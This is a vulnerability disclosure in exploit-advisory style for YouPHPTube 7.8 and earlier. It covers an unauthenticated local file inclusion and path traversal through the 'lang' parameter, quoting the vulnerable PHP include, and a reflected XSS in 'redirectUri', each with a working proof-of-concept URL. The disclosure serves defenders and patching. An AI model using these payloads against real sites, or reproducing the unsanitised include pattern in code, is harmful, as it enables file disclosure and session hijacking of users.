# Exploit Title: YouPHPTube <= 7.8 - Multiple Vulnerabilities
# Discovery by: Rafael Pedrero
# Discovery Date: 2021-01-31
# Vendor Homepage: https://www.youphptube.com/
# Software Link : https://www.youphptube.com/
# Tested Version: 7.8
# Tested on:  Windows 7, 10 using XAMPP

# Vulnerability Type: LFI + Path Traversal

CVSS v3: 7.5
CVSS vector: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
CWE: CWE-829, CWE-22

Vulnerability description: YouPHPTube v7.8 allows unauthenticated directory
traversal and Local File Inclusion through the parameter in an
/?lang=PATH+TRAVERSAL+FILE (without php) GET request because of an
include_once in locale/function.php page.

Proof of concept:

To detect: http://localhost/youphptube/index.php?lang=)

An error is generated:

Warning: preg_grep(): Compilation failed: unmatched parentheses at offset 0
in C:\xampp\htdocs\YouPHPTube\locale\function.php on line 47

In function.php page, we can see:

// filter some security here
if (!empty($_GET['lang'])) {
    $_GET['lang'] = str_replace(array("'", '"', """, "&#039;"),
array('', '', '', ''), xss_esc($_GET['lang']));
}

if (empty($_SESSION['language'])) {
    $_SESSION['language'] = $config->getLanguage();
}
if (!empty($_GET['lang'])) {
    $_GET['lang'] = strip_tags($_GET['lang']);
    $_SESSION['language'] = $_GET['lang'];
}
@include_once
"{$global['systemRootPath']}locale/{$_SESSION['language']}.php";


The parameter "lang" can be modified and load a php file in the server.


In Document root: /phpinfo.php with this content:

<?php echo phpinfo(); ?>


To Get phpinfo.php: http://127.0.0.1/youphptube/?lang=../../phpinfo

Note: phpinfo without ".php".

The new Path is:
@include_once "{$global['systemRootPath']}locale/../../phpinfo.php";

And you can see the PHP information into the browser.



# Vulnerability Type: reflected Cross-Site Scripting (XSS)

CVSS v3: 6.5
CVSS vector: 3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
CWE: CWE-79

Vulnerability description: YouPHPTube 7.8 and before, does not sufficiently
encode user-controlled inputs, resulting in a reflected Cross-Site
Scripting (XSS) vulnerability via the
/<YouPHPTube_path_directory>/signup?redirectUri=<XSS>, in redirectUri
parameter.

Proof of concept:

http://localhost/
<YouPHPTube_path_directory>/signup?redirectUri='"()%26%25<ScRipt>alert(1)</ScRipt>